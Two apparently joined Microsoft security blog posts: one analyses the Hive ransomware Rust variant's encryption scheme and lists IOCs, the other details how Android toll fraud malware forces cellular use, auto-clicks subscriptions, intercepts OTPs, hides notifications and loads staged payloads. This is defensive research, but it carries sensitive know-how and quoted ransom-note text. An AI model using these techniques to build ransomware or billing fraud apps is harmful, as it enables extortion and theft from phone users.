- Do not hire a recovery company. They can't decrypt without the key. 
   They also don't care about your business. They believe that they are 
   good negotiators, but it is not. They usually fail. So speak for yourself.
- Do not reject to purchase. Exfiltrated files will be publicly disclosed.

Encryption

The most interesting change in the Hive variant is its cryptography mechanism. The new variant was first uploaded to VirusTotal on February 21, 2022, just a few days after a group of researchers from Kookmin University in South Korea published the paper “A Method for Decrypting Data Infected with Hive Ransomware” on February 17, 2022. After a certain period of development, the new variant first appeared in Microsoft threat data on February 22.

The new variant uses a different set of algorithms: Elliptic Curve Diffie-Hellmann (ECDH) with Curve25519 and XChaCha20-Poly1305 (authenticated encryption with ChaCha20 symmetric cipher).

A unique encryption approach

The new Hive variant uses a unique approach to file encryption. Instead of embedding an encrypted key in each file that it encrypts, it generates two sets of keys in memory, uses them to encrypt files, and then encrypts and writes the sets to the root of the drive it encrypts, both with .key extension.

To indicate which keys set was used to encrypt a file, the name of the .key file containing the corresponding encryption keys is added to the name of the encrypted file on disk, followed by an underscore and then a Base64 string (also adding underscore and hyphen to the character set). Once it’s Base64-decoded, the string contains two offsets, with each offset pointing to a different location in the corresponding .key file. This way, the attacker can decrypt the file using these offsets.

For example, after running Hive, we got the following files dropped to the C:\ drive:

  • C:\3bcVwj6j.key
  • C:\l0Zn68cb.key

In this example, a file named myphoto.jpg would be renamed to C:\myphoto.jpg.l0Zn68cb _ -B82BhIaGhI8. As we discuss in the following sections, the new variant’s keys set generation is entirely different from old variants. However, its actual file encryption is very similar.

Keys set generation

A buffer of size 0xCFFF00 bytes is allocated. Using two custom functions to generate random bytes (labeled “random_num_gen” and “random_num_gen_2” for demonstration purposes) the buffer is filled. The first 0xA00000 bytes of this buffer are filled with random bytes and the remaining 0x2FFF00 bytes are simply copied from the first 0x2FFF00 random bytes that were copied earlier to the buffer.

The content of each buffer is a keys set (a collection of symmetric keys). Since two buffers are allocated, there are two keys sets. In the encryption process, the malware randomly selects different keys (byte sequences) for each file from one of the keys set and uses them to encrypt the file by XORing the byte sequence of the keys with the file’s content.

Partial screenshot of a Hive variant's encryption technique in assembly code.
Figure 6 – Original keys set generation
Partial screenshot of a Hive variant's encryption technique in assembly code.
Figure 7 – Inside get_random_byte

A custom 64-byte hash is prepared for each keys set. This hash will be used later.

Partial screenshot of a Hive variant's encryption technique in assembly code.
Figure 8 – Preparing the custom hash of the keys set

After the hash is computed and several other strings are decrypted, the encryption process takes the following steps:

  1. Generate victim_private_key using the same functions introduced above.
Partial screenshot of a Hive variant's encryption technique in assembly code.
Figure 9 – Generating victim_private_key
  1. Generate victim_public_key using ECDH with Curve25519. The input is victim_private_key and the basepoint is 9 followed by 31 zeros (embedded in the sample).
Partial screenshot of a Hive variant's encryption technique in assembly code.
Figure 10 – Generating victim_public_key
  1. Generate a 24-byte nonce for the XChaCha algorithm, later in Poly1305-XChaCha20.
Partial screenshot of a Hive variant's encryption technique in assembly code.
Figure 11 – Generating a 24-byte nonce
  1. Generate shared_secret using ECDH with Curve25519. The input is victim_private_key and hive_public_key. Then, the  shared_secret (as a key) with hive_public_key (as a nonce) is used to derive the derived_key using ChaCha20.
Partial screenshot of a Hive variant's encryption technique in assembly code.
Figure 12 – Generating shared_secret
  1. Encrypt the keys set using Poly1305-XChaCha20. The values used for the encryption are the keys set, derived_key, nonce, and the embedded associated data (AD). This function encrypts the keys set and adds a 16-byte authentication tag at the end of the buffer of the encrypted keys. It’s unclear if the authentication tag is ever checked.
Partial screenshot of a Hive variant's encryption technique in assembly code.
Figure 13 – Encrypting the keys set

Now that the keys set is finally encrypted, the nonce, victim_public_key, the now-encrypted keys set, and the authentication tag are copied to a new buffer, one after another. This buffer (which we label encrypted_structure_1) is treated as a new keys set, which is again encrypted using the same method described above but with a second hive_public_key. This time, the function outputs new nonce, victim_private_key, and others. Only the associated data is the same.

Finally, the new buffer, which contains the second_nonce, second_victim_public_key, and the encryptedencrypted_structure_1, is written to the root of the drive it’s encrypting (for example, C:\). The create_extension function generates a Base64 string based on the first six bytes of the custom hash that was created earlier. This Base64 string serves as the file name, and the extension of the file is simply “.key”.

Partial screenshot of a Hive variant's encryption technique in assembly code.
Figure 14 – Generating a Base64 string based on the first six bytes of the custom hash
Partial screenshot of a Hive variant's encryption technique in assembly code.
Figure 15 – Using the Base64 string as the file name

The diagram below illustrates the encryption scheme described above:

Diagram containing icons and arrows illustrating the new Hive variant's encryption scheme.
Figure 16 – The keys set encryption scheme of the new Hive variant

As seen in the diagram above, “Keys sets encryption flow” is executed twice. In the first round it is executed with the original keys set as an input. In the second round it is executed with the “encrypted structure 1” as an input. In its second execution, all other input values are different except the AD (associated data) and the Basepoint 9.

Hence, the following values are new in the second execution: victim_private_key, victim_public_key, hive_public_key, nonce, shared_secret and derived_key.

File encryption

After both keys files are written to the disk, the multi-threaded file encryption starts. Before encrypting each file, the malware checks its name and extension against a list of strings. If there is a match, then the file will not be encrypted. For example, a file with .exe extension will not be encrypted if .exe is in the list of strings. It should be noted that this list is encrypted and decrypted during runtime.

The same file encryption method seen in old variants is used in the new one: two random numbers are generated and used as offsets to the keys set. Each offset is four bytes:

Partial screenshot of a Hive variant's encryption technique in assembly code.
Figure 17 – Generating the offsets

For the encryption, the file’s content is XORed with bytes from the keys set, according to the offsets. The file bytes are XORed twice—once according to the first offset and a second time according to the second offset. Files are encrypted in blocks of 0x100000 bytes, with the maximum number of blocks at 100. There is an interval between the encrypted blocks as defined by block_space. After the encryption is finished in memory, the encrypted data is written to the disk, overwriting the original file.

Partial screenshot of a code snippet
Figure 18 – Calculation of number of blocks
Partial screenshot of a code snippet
Figure 19 – Actual encryption of the file bytes
Partial screenshot of a Hive variant's encryption technique in assembly code.
Figure 20 – Reading a file, encrypting it, and writing it back to the disk

Looking at when create_extension is called once file encryption has started, we recognized a similar structure in the previous variant:

Partial screenshot of a Hive variant's structure in assembly code.
Figure 21 – Creating the extension for the file

Let us look at the value (72 D7 A7 A3 F5 5B FF EF 21 6B 11 7C 2A 18 CD 00) in the address of r9 register just before create_extension is called on a file called EDBtmp.log

Partial screenshot of a hexadecimal value

Recall that in the older variants, 0xFF was used as a delimiter to separate the key file name from the offset values. We can also see it here. Converting the first six bytes (72 D7 A7 A3 F5 5B) to Base64 yields the following:

cteno/Vb

And if we step over create_extension, the result is similar—we get cteno_Vb as the .key file name (note: Since Hive uses a different Base64 character set, “/” was replaced with “_”):

Partial screenshot of hexadecimal values

Microsoft will continue to monitor the Hive operators’ activity and implement protections for our customers. The current detections, advanced detections, and indicators of compromise (IOCs) in place across our security products are detailed below.

Recommended customer actions

The techniques used by the new Hive variant can be mitigated by adopting the security considerations provided below:

  • Use the included IOCs to investigate whether they exist in your environment and assess for potential intrusion.

Our recent blog on the ransomware-as-a-service economy has an exhaustive guide on how to protect yourself from ransomware threats that dive deep into each of the following areas. We encourage readers to refer to that blog for a comprehensive guide on:

For Microsoft 365 Defender customers, the following checklist eliminates security blind spots:

  • Turn on cloud-delivered protection in Microsoft Defender Antivirus to cover rapidly evolving attacker tools and techniques, block new and unknown malware variants, and enhance attack surface reduction rules and tamper protection.
  • Turn on tamper protection features to prevent attackers from stopping security services.
  • Run EDR in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when a non-Microsoft antivirus doesn’t detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode also blocks indicators identified proactively by Microsoft Threat Intelligence teams.
  • Enable network protection to prevent applications or users from accessing malicious domains and other malicious content on the internet.
  • Enable investigation and remediation in full automated mode to allow Microsoft Defender for Endpoint to take immediate action on alerts to resolve breaches.
  • Use device discovery to increase visibility into the network by finding unmanaged devices and onboarding them to Microsoft Defender for Endpoint.
  • Protect user identities and credentials using Microsoft Defender for Identity, a cloud-based security solution that leverages on-premises Active Directory signals to monitor and analyze user behavior to identify suspicious user activities, configuration issues, and active attacks.

Indicators of compromise (IOCs)

The below list provides a partial list of the IOCs observed during our investigation and included in this blog. We encourage our customers to investigate these indicators in their environments and implement detections and protections to identify past related activity and prevent future attacks against their systems.

Indicator Type Description
f4a39820dbff47fa1b68f83f575bc98ed33858b02341c5c0464a49be4e6c76d3 SHA-256 Hive Rust variant payload
88b1d8a85bf9101bc336b01b9af4345ed91d3ec761554d167fe59f73af73f037 SHA-256 Hive Rust variant payload
065208b037a2691eb75a14f97bdbd9914122655d42f6249d2cca419a1e4ba6f1 SHA-256 Hive Rust variant payload
33744c420884adf582c46a4b74cbd9c145f2e15a036bb1e557e89d6fd428e724 SHA-256 Hive Rust variant payload
afab34235b7f170150f180c7afb9e3b4e504a84559bbd03ab71e64e3b6541149 SHA-256 Hive Rust variant payload
36759cab7043cd7561ac6c3968832b30c9a442eff4d536e901d4ff70aef4d32d SHA-256 Hive Rust variant payload
481dc99903aa270d286f559b17194b1a25deca8a64a5ec4f13a066637900221e SHA-256 Hive Rust variant payload
6e5d49f604730ef4c05cfe3f64a7790242e71b4ecf1dc5109d32e811acf0b053 SHA-256 Hive Rust variant payload
32ff0e5d87ec16544b6ff936d6fd58023925c3bdabaf962c492f6b078cb01914 SHA-256 Hive Rust variant payload

NOTE: These indicators shouldn’t be considered exhaustive for this observed activity.

Detections

Microsoft 365 Defender

Microsoft Defender Antivirus

Microsoft Defender Antivirus provides detection for this threat under the following family names with build version 1.367.405.0 or later.

  • Ransom:Win64/Hive
  • Ransom:Win32/Hive

Microsoft Defender for Endpoint detection

Microsoft Defender for Endpoint customers may see any or a combination of the following alerts as an indication of possible attack. These alerts are not necessarily an indication of a Hive compromise, but should be investigated:

  • Ransomware behavior detected in the file system
  • File backups were deleted
  • Possible ransomware infection modifying multiple files
  • Possible ransomware activity
  • Ransomware-linked emerging threat activity group detected

Advanced hunting queries

Microsoft Sentinel

To locate possible Hive ransomware activity mentioned in this blog post, Microsoft Sentinel customers can use the queries detailed below:

Identify Hive ransomware IOCs

This query identifies a match across various data feeds for IOCs related to Hive ransomware.

https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/HiveRansomwareJuly2022.yaml

Identify backup deletion

This hunting query helps detect a ransomware’s attempt to delete backup files.

https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/MultipleDataSources/BackupDeletion.yaml

Identify Microsoft Defender Antivirus detection of Hive ransomware

This query looks for Microsoft Defender Antivirus detections related to the Hive ransomware and joins the alert with other data sources to surface additional information such as device, IP, signed-in users, etc.

https://github.com/Azure/Azure-Sentinel/blob/master/Detections/SecurityAlert/HiveRansomwareAVHits.yaml

The post Hive ransomware gets upgrades in Rust appeared first on Microsoft Security Blog.

Toll fraud malware: How an Android application can drain your wallet

Toll fraud malware, a subcategory of billing fraud in which malicious applications subscribe users to premium services without their knowledge or consent, is one of the most prevalent types of Android malware – and it continues to evolve.

Compared to other subcategories of billing fraud, which include SMS fraud and call fraud, toll fraud has unique behaviors. Whereas SMS fraud or call fraud use a simple attack flow to send messages or calls to a premium number, toll fraud has a complex multi-step attack flow that malware developers continue to improve.

For example, we saw new capabilities related to how this threat targets users of specific network operators. It performs its routines only if the device is subscribed to any of its target network operators. It also, by default, uses cellular connection for its activities and forces devices to connect to the mobile network even if a Wi-Fi connection is available. Once the connection to a target network is confirmed, it stealthily initiates a fraudulent subscription and confirms it without the user’s consent, in some cases even intercepting the one-time password (OTP) to do so. It then suppresses SMS notifications related to the subscription to prevent the user from becoming aware of the fraudulent transaction and unsubscribing from the service.

Another unique behavior of toll fraud malware is its use of dynamic code loading, which makes it difficult for mobile security solutions to detect threats through static analysis, since parts of the code are downloaded onto the device in certain parts of the attack flow. Despite this evasion technique, we’ve identified characteristics that can be used to filter and detect this threat. We also see adjustments in Android API restrictions and Google Play Store publishing policy that can help mitigate this threat.

Toll fraud has drawn media attention since Joker, its first major malware family, found its way to the Google Play Store back in 2017. Despite this attention, there’s not a lot of published material about how this type of malware carries out its fraudulent activities. Our goal for this blog post is to share an in-depth analysis on how this malware operates, how analysts can better identify such threats, and how Android security can be improved to mitigate toll fraud. This blog covers the following topics:

The WAP billing mechanism: An overview

To understand toll fraud malware, we need to know more about the billing mechanism that attackers use. The commonly used type of billing in toll fraud is Wireless Application Protocol (WAP). WAP billing is a payment mechanism that enables consumers to subscribe to paid content from sites that support this protocol and get charged directly through their mobile phone bill. The subscription process starts with the customer initiating a session with the service provider over a cellular network and navigating to the website that provides the paid service. As a second step, the user must click a subscription button, and, in some cases, receive a one-time password (OTP) that has to be sent back to the service provider to verify the subscription. The overall process is depicted below:

A diagram of how the Wireless Application Protocol billing process works. Interactions between the mobile device and premium service provider are mapped out, from the moment the device browses through services until the confirmation of service subscription.
Figure 1. The WAP billing process in a nutshell

It should be noted that the process depends on the service provider, thus not all steps are always present. For example, some providers do not require an OTP, which means that the mobile user can subscribe to a service by simply clicking the subscription button while the device is connected to a cellular network.  

Fraudulent subscriptions via toll fraud

We classify a subscription as fraudulent when it takes place without a user’s consent. In the case of toll fraud, the malware performs the subscription on behalf of the user in a way that the overall process isn’t perceivable through the following steps:

  1. Disable the Wi-Fi connection or wait for the user to switch to a mobile network
  2. Silently navigate to the subscription page
  3. Auto-click the subscription button
  4. Intercept the OTP (if applicable)
  5. Send the OTP to the service provider (if applicable)
  6. Cancel the SMS notifications (if applicable)

One significant and permissionless inspection that the malware does before performing these steps is to identify the subscriber’s country and mobile network through the mobile country codes (MCC) and mobile network codes (MNC). This inspection is done to target users within a specific country or region. Both codes can be fetched by using either the TelephonyManageror the SystemPropertiesclass. The TelephonyManager.getSimOperator() API call returns the MCC and MNCcodes as a concatenated string, while other functions of the same class can be used to retrieve various information about the mobile network that the device is currently subscribed to. As the network and SIM operator may differ (e.g., in roaming), the getSimOperatorfunction is usually preferred by malware developers.

The same type of information can be fetched by using the SystemProperties.get(String key) function where the key parameter may be one or several (using multiple calls) of the following strings: gsm.operator.numeric, gsm.sim.operator.numeric, gsm.operator.iso-country, gsm.sim.operator.iso-country, gsm.operator.alpha, gsm.sim.operator.alpha

The difference with the first call is that the android.os.SystemProperties class is marked as @SystemApi, therefore an application has to use Java reflection to invoke the function. The MNC and MCC codes are also used to evade detection, as the malicious activity won’t be performed unless the SIM operator belongs to the ones targeted:

A screenshot of code snippet from the Joker malware. The code specifies that the malware will only run if the device is under a South African mobile operator.
Figure 2. Joker malware running its payload, targeting South African mobile operators

The following sections present an analysis of the fraudulent subscription steps in the context of the Android operating system. This analysis can help identify the API calls and the permissions needed for the implementation of a toll fraud scheme.

Forcing cellular communication

Variants of toll fraud malware targeting Android API level 28 (Android 9.0) or lower disable the Wi-Fi by invoking the setWifiEnabled method of the WifiManager class. The permissions needed for this call are ACCESS_WIFI_STATE and CHANGE_WIFI_STATE. Since the protection level for both permissions is set to normal, they are automatically approved by the system.

Meanwhile, malware targeting a higher API level uses the requestNetwork function of the ConnectivityManagerclass. The Android developers page describes the requestNetwork method as:

This method will attempt to find the best network that matches the given NetworkRequest, and to bring up one that does if none currently satisfies the criteria. The platform will evaluate which network is the best at its own discretion. Throughput, latency, cost per byte, policy, user preference and other considerations may be factored in the decision of what is considered the best network.

The required permission for this call is either CHANGE_NETWORK_STATE (protection level: normal) or WRITE_SETTINGS(protection level: signature|preinstalled|appop|pre23), but since the latter is protected, the former is usually preferred by malware developers. In the code snippet depicted below from a malware sample that can perform toll fraud, the function vgy7is requesting a TRANSPORT_CELLULAR transport type (Constant Value: 0x00000000) with NET_CAPABILITY_INTERNET (Constant Value: 0x0000000c):

A screenshot of code snippet from a Joker malware where the malware requests for a TRANSPORT_CELLULAR transport type.
Figure 3. Code from a Joker malware sample requesting a TRANSPORT_CELLULAR transport type

Figure 3. Code from a Joker malware sample requesting a TRANSPORT_CELLULAR transport type

The NetworkCallbackis used to monitor the network status and retrieve a networktype variable that can be used to bind the process to a particular network via the ConnectivityManager.bindProcessToNetworkfunction. This allows the malware to use the mobile network even when there is an existing Wi-Fi connection. The proof-of-concept code depicted below uses the techniques described above to request a TRANSPORT_CELLULAR transport type. If the transport type is available, it binds the process to the mobile network to load the host at example.com in the application’s WebView:

A screenshot of proof-of-concept code to demonstrate a request for a TRANSPORT_CELLULAR transport type.
Figure 4. Proof-of-concept code to request a TRANSPORT_CELLULAR transport type

While it is expected that the Wi-Fi connection is preferred even when mobile connection is also available, the process exclusively uses the cellular network to communicate with the server:

A screenshot of two Android mobile browser screens, side by side. The browser screen on the left loads the content of example.com, while the browser screen on the right loads a blank page.
Figure 5. The mobile browser loads example.com when TRANSPORT_CELLULAR transport type is available and loads a blank page when only Wi-Fi is available

In fact, the user must manually disable mobile data to prevent the malware from using the cellular network. Even though the setWifiEnabledhas been deprecated, it can still be used by malware targeting API level 28 or lower.

Fetching premium service offers and initiating subscriptions

Assuming that the SIM operator is on the target list and the device is using a TRANSPORT_CELLULARtype network, the next step is to fetch a list of websites offering premium services and attempt to automatically subscribe to them.

The malware will communicate with a C2 server to retrieve a list of offered services. An offer contains, between else, a URL which will lead to a redirection chain that will end up to a web page, known as landing page.

What happens next depends on the way that the subscription process is initiated, thus the malware usually includes code that can handle various subscription flows. In a typical case scenario, the user has to click an HTML element similar to the one depicted below (JOIN NOW), and as a second step, send a verification code back to the server:

A screenshot of a website offering subscriptions to apps and premium services. There are two banners on the website, with the one above displaying the text "Join Now". The banner at the bottom displays sports-related images (football and car racing).
Figure 6. A subscription page that’s loaded in the background without the user’s knowledge.

For the malware to do this automatically, it observes the page loading progress and injects JavaScript code designed to click HTML elements that initiate the subscription. As the user can only subscribe once to one service, the code also marks the HTML page using a cookie to avoid duplicate subscriptions. The following is an example of such a code:

Figure 7. JavaScript injected code scraping related HTML elements

On line 76, getElementsByTagNamereturns a collection of all the Document Object Model (DOM) elements tagged as input. The loop on line 78 goes through every element and checks its typeas well as its name, value, and altproperties. When an element is found to contain keywords, such as “confirm”, “click”, and “continue”, it is sent to the cfunction, as depicted below:

A screenshot of JavaScript code of a function where it simulates clicks on selected HTML elements.
Figure 8. JavaScript function simulating clicks on selected HTML elements

The if statement on line 36 checks if the element has already been clicked by calling the jdh function, displayed below in Figure 12. Finally, the c function invokes the click() or submit() function by the time the branch on line 37 (see figure 11) is followed:

A screenshot of the JavaScript code where the malware checks if a premium service page has already been visited.
Figure 9. JavaScript code checking if the page has already been visited

The HTML page loading process is tracked using an onPageFinishedcallback of the WebViewClientattached to the WebView. Subsequently, a handler that listens for relative message types acts depending on the next steps that are required for the subscription to take place. In the code snippet below, the URL loaded in the WebView and a signalwith id “128”is sent to handler2to evaluate the service and initiate the subscription process:

A screenshot of malware code where it checks for specific message types to determine the next steps required for a subscription to take place.
Figure 10. Malware evaluating the steps required to initiate the subscription process

Multi-step or target subscription processes may require additional verification steps. The handler depicted below checks the page URL loaded in the WebView. If the URL matches doi[.]mtndep.co.za/service/, then the handler runs the JavaScript code assigned to the Properties.call_jbridge_dump variable:

A screenshot of malware code where it identifies the conditions required to determine what routine to run next. It assigns code based on specific conditions such as URL displayed.
Figure 11. Malware running code depending on certain conditions

A signal with id “107” triggers some additional steps that require communication with the command and control (C2) server. This case is demonstrated in the following figures:

A screenshot of malware code that is run when a signal with the ID number "107" is identified.
Figure 12. Malware running code depending on the specific signal id

Upon receiving the signal, the handler invokes the v1.bhu8 function:

A screenshot of malware code where the handler invokes the v1.bhu8 function. The said function checks if a service related to anti-fraud protection is running on the device.
Figure 13. Malware attacking anti-fraud protection

After checking for the web-zdm[.]secure-d[.]io/api/v1/activatein the server’s reply, the malware invokes the tpack[.]l2.bhu8[.]vgy7 function. This function sends the current URL loaded in the application’s WebView as well as some extra information like country code, and HTML code:

A screenshot if malware code where the malware sends information from the device to its C2 server. Sent information include country code, the HTML code of the website shown on the browser.
Figure 14. Malware sending information to the C2 server
A screenshot of malware code where a solver-type service is offered by the C2 server.
Figure 15. A solver-type service offered by the C2 server

Intercepting OTPs

In most cases, the service provider sends an OTP that must be sent back to the server to complete the subscription process. As the OTP can be sent by using either the HTTP or USSD protocol or SMS, the malware must be capable of intercepting these types of communication. For the HTTP protocol, the server’s reply must be parsed to extract the token. For the USSD protocol, on the other hand, the only way to intercept is by using the accessibility service.

One method of intercepting an SMS message, requiring android.permission.RECEIVE_SMS permission, is to instantiate a BroadcastReceiver that listens for the SMS_RECEIVED action.

The following code snippet creates a BroadcastReceiverand overrides the onReceivecallback of the superclass to filter out messages that start with “rch”:

A screenshot of malware code where the malware filters SMS messages that start with "rch"
Figure 16. Code that filters out SMS messages that start with “rch”

Subsequently, it creates an IntentFilter, which renders the receiver capable of listening for an SMS_RECEIVED action, and finally the receiver is registered dynamically:

A screenshot of the IntentFilter code, enabling the receiver to listen for any received SMS messages.
Figure 17. The IntentFilter enabling the receiver to listen for an SMS_RECEIVED action

To handle OTP messages that are sent using the HTTP protocol, the malware parses the HTML code to search for keywords indicating the verification token. The following code contains a flow where the extracted token is sent to the server using the sendTextMessage API call:

A screenshot of the malware code where an extracted verification token from the OTP message is sent to the C2 server. The code indicates that this is done through the sendTextMessage API.
Figure 18. Extracted token is sent to the C2 server using the sendTextMessage API call

The additional permission that is required to enable this flow is SEND_SMS.

Another way of intercepting SMS messages is to extend the NotificationListenerService. This service receives calls from the system when new notifications are posted or removed, including the ones sent from the system’s default SMS application. The code snippet below demonstrates this functionality:

A screenshot of malware code where the NotificationLIstenerService is extended. This enables the app to receive calls from the system when new notifications are posted or removed.
Figure 19. Extending the NotificationListenerService service

We triggered a notification with the title “SMS_Received” and text “Pin:12345” during our analysis, resulting in the following output in the application’s logcat:

A screenshot of the malware's logcat. The logcat output shows that it is able to capture contents of a notification received by the device.
Figure 20. Logcat output after a notification is posted

Finally, besides the broadcast receiver and the notification listener techniques of intercepting an SMS message, a ContentObserver can be used to receive callbacks for changes to specific content. The onChange callback of the SmsObserver class (depicted below) is called each time the system changes the SMS content provider state:

A screenshot of proof-of-concept code to demonstrate how the malware monitors for incoming SMS messages.
Figure 21. The proof-of-concept code monitoring for incoming SMS messages through SmsObserver

Suppressing notifications

Since API level 18, an application that extends the NotificationListenerService is authorized to suppress notifications triggered from other applications. The relevant API calls are:

  • cancelAllNotifications() to inform the notification manager to dismiss all notifications
  • cancelNotification(String key) to inform the notification manager to dismiss a single notification
  • cancelNotifications(String [] keys) to inform the notification manager to dismiss multiple notifications at once.

This API subset is abused by malware developers to suppress service subscription notification messages posted by the default SMS application. More specifically, upon successful subscription, the service provider sends a message to the user to inform them about the charges and offers the option to unsubscribe. By having access to the notification listener service, the malware can call any of the functions mentioned above to remove the notification.

Using dynamic code loading for cloaking

Cloaking refers to a set of techniques used to hide malicious behavior. For example, most toll fraud malware won’t take any action if the mobile network is not among its targets. Another example of a cloaking mechanism used by these threats is dynamic code loading. This means that certain malware codes are only loaded when certain conditions are met, making it difficult to detect by static analysis.

The following is a characteristic example of a multi-stage toll fraud malware with SHA-256: 2581aba12919ce6d9f89d86408d286a703c1e5037337d554259198c836a82d75 and package name: com.cful.mmsto.sthemes.

Stage one

This malware’s entry point is found to be the com.android.messaging.BugleApplication, a subclass of the Application class. The malicious flow leads to the function below:

A screenshot of malware code showing the function where the entry point of the malware leads to. This is the starting point of the dynamic code loading done by the malware.
Figure 22. The function where the entry point of the malware leads to

The call on line 21 fills the filesarray with the filenames fetched from the assets directory. The for loop enters theif branch at line 32 if the name of the asset file ends with “355”. Querying the asset files of the app for such a filename yields the following result:

A screenshot of the result when querying the malware's asset file for a file name that ends with "355". The result is a file with the name PhoneNUmberAlternateFormatsProto_355
Figure 23. Query result when searching for “355”

The PhoneNumberAlternateFormatsProto_355 is the source file which, in conjunction with a destination file and the string “xh7FEC2clYuoNQ$ToT99ue0BINhw^Bzy”, is given as parameters to the ns.j function:

A screenshot of the code of the ns.j function. It shows that the function accepts parameters from the source file PhotoNumberAlternateFormatsProto_355.
Figure 24. The ns.j function

The SecretKeySpec on line 68 is constructed from the first 16 bytes of the SHA-1 digest of the password string. This key is used to decrypt the file fetched from the assets using Advanced Encryption Standard (AES) in electronic codebook (ECB) mode. The decryption result is an ELF file that is saved in the application’s cache directory and loaded using the System.load function.

Stage two

The loaded library fetches the PhoneNumberAlternateFormatsProto_300file from the assets folder using the AAssetManager_fromJava function and writes it to a temporary file with the name b in the /data/data/<package_name>/ directory, as seen on line 93 below:

A screenshot of code wherein the malware fetches the second payload from the assets directory.
Figure 25. Fetching the second payload from the assets directory.

The file b is then decrypted using an XOR operation with the key “xh7FEC2clYuoNQ$ToT99ue0BINhw^Bzy”, which is given from the Java side (see following figures). The decrypted payload is saved with the name l in the application’s data directory:

A screenshot of code where the malware decrypts the asset with the name "l_file_fd".
Figure 26. Decrypting asset

Figure 27. The native handleTask called from the Java code

The same function loads the decrypted payload l and invokes the com.AdsView.pulgn using the DexClassLoader class loader (variable names have been changed for clarity):

A screenshot of the malware code where it loads the decrypted asset using the DexClassLoader class loader.
Figure 28. Dynamically loading the decrypted asset using the DexClassLoader

Decrypting the second payload manually yields the following APK file:

A screenshot of the code of the decrypted asset which is an APK file.
Figure 29. The decrypted APK file

It must be mentioned that the DexClassLoadercan be used to load classes from .jar and .apk files that contain a classes.dex entry.

Stage three

This decrypted APK consists of two main classes: the com.Helperand com.AdsView. The com.AdsView.pulgnfunction is the first to be invoked by the native library described in the previous section:

A screenshot of the code for the pulgn function, which is the first to be invoked once the payload is loaded.
Figure 30. pulgn is the first function to be invoked when the payload is loaded

The runnable thread’s main functionality is to connect the host to xn3o[.]oss-accelerate[.]aliyuncs[.]com and download a JAR file named xn30, which is saved to the cache directory with name nvi and then loaded using the startSdk function, as shown on line 81 below:

A screenshot of the malware code where it triggers the download of the final payload.
Figure 31. Download and trigger the final payload

The file xn30 is the final payload of stage three and is the one that performs the toll fraud activities previously described.

Mitigating the threat of toll fraud malware

Toll fraud is one of the most common malware categories with high financial loss as its main impact. Due to its sophisticated cloaking techniques, prevention from the side of the user plays a key role in keeping the device secure. A rule of thumb is to avoid installing Android applications from untrusted sources (sideloading) and always follow up with device updates. We also recommend end users take the following steps to protect themselves from toll fraud malware:

  • Install applications only from the Google Play Store or other trusted sources.
  • Avoid granting SMS permissions, notification listener access, or accessibility access to any applications without a strong understanding of why the application needs it. These are powerful permissions that are not commonly needed.
  • Use a solution such as Microsoft Defender for Endpoint on Android to detect malicious applications.
  • If a device is no longer receiving updates, strongly consider replacing it with a new device.

Identifying potential malware

For security analysts, it is important to be aware that conventional mitigation techniques based on static detection of malware code patterns can only offer limited remediation against this malware. This is due to the extended use of reflection, encryption, compression, obfuscation, steganography, and dynamic code loading.

There are, however, characteristics that can be used to identify this type of malware. We can classify these characteristics into three:

  • Primary characteristics – patterns in plaintext included in the application that can be analyzed statically
  • Secondary characteristics – common API calls used to conduct toll fraud activities
  • Tertiary characteristics – patterns in Google Play Store metadata such as the application’s category, the developer’s profile, and user reviews, among others

The tertiary characteristics are useful for initial filtering for potential malware. Patterns observed in the apps’ metadata are related to malware developers’ attempts to infect as many devices as possible in a short amount of time, while remaining published on the Google Play Store for as long as they can. We’ve observed that attackers often follow these steps to keep their apps in the Google Play Store:  

  1. Use open-source applications that belong to popular categories and can be trojanized with minimal effort. The preferred application categories include personalization (like wallpaper and lock screen apps), beauty, editor, communication (such as messaging and chat apps), photography, and tools (like cleaner and fake antivirus apps).
  2. Upload clean versions until the application gets a sufficient number of installs.
  3. Update the application to dynamically load malicious code.
  4. Separate the malicious flow from the uploaded application to remain undetected for as long as possible.

These applications often share common characteristics:

  • Excessive use of permissions that are not suitable to the application’s usage (for example, wallpaper, editor, and camera apps that bind the notification listener service or ask for SMS permissions)
  • Consistent user interfaces, with similar icons, policy pages, and buttons
  • Similar package names
  • Suspicious developer profile (fake developer name and email address)
  • Numerous user complaints in the reviews

Once potential malware samples are identified based on these tertiary characteristics, the primary characteristics can be used for further filtering and confirmation. Applications cannot obfuscate their permission requests, use of the notification listener service, or use of accessibility service. These requests must appear in the AndroidManifest.xml file within the APK, where they can be easily detected using static analysis. The commonly requested permissions by malware performing toll fraud may include: READ_SMS, RECEIVE_SMS, SEND_SMS, CHANGE_WIFI_STATE, ACCESS_WIFI_STATE, CHANGE_NETWORK_STATE. Requests for notification listener and accessibility service should be considered extremely suspicious.

Secondary characteristics also include suspicious API calls including: setWifiEnabled, requestNetwork, setProccessDefaultnetwork, bindProcessToNetwork, getSimOperator and cancelAllNotifications. However, since these calls may be obfuscated and may be hard to identify during static analysis, a more in-depth analysis may be necessary for certainty.

Improving Android security and privacy

Google continuously improves Android security and privacy as the mobile threat landscape evolves and new threats and adversary techniques are discovered. For example, in the operating system, API calls that can reveal potentially sensitive information continue to be removed or restricted, and in the Google Play Store, the publication policies guard against use of certain high-risk permissions (for example, the ability to receive or send SMSs) by requiring a Permission Declaration Form to be completed justifying their use. We anticipate Android security will continue to evolve to address abuse.

As discussed, applications currently can identify the cellular network operator and can send network traffic over the cellular network without any transparency to the user. Additionally, applications can request access to read and dismiss notifications, a very powerful capability, without needing to justify this behavior.

Conclusion

Toll fraud has been one of the most prevalent types of Android malware in Google Play Store since 2017, when families like Joker and their variants made their first appearance. It accounted for 34.8% of installed Potentially Harmful Application (PHA) from the Google Play Store in the first quarter of 2022, ranking second only to spyware.

By subscribing users to premium services, this malware can lead to victims receiving significant mobile bill charges. Affected devices also have increased risk because this threat manages to evade detection and can achieve a high number of installations before a single variant gets removed.

With this blog, we want to inform end users about the details of this threat and how they can protect themselves from toll fraud. We also aim to provide security analysts with guidance on how to identify other malicious applications that use these techniques.

Our in-depth analysis of this threat and its continuous evolution informs the protection we provide through solutions like Microsoft Defender for Endpoint on Android.

Learn how Microsoft Defender for Endpoint provides cross-platform security, including mobile threat defense capabilities.

Dimitrios Valsamaras and Sang Shin Jung
Microsoft 365 Defender Research Team

Appendix

Samples (SHA-256)

Sample SHA-256
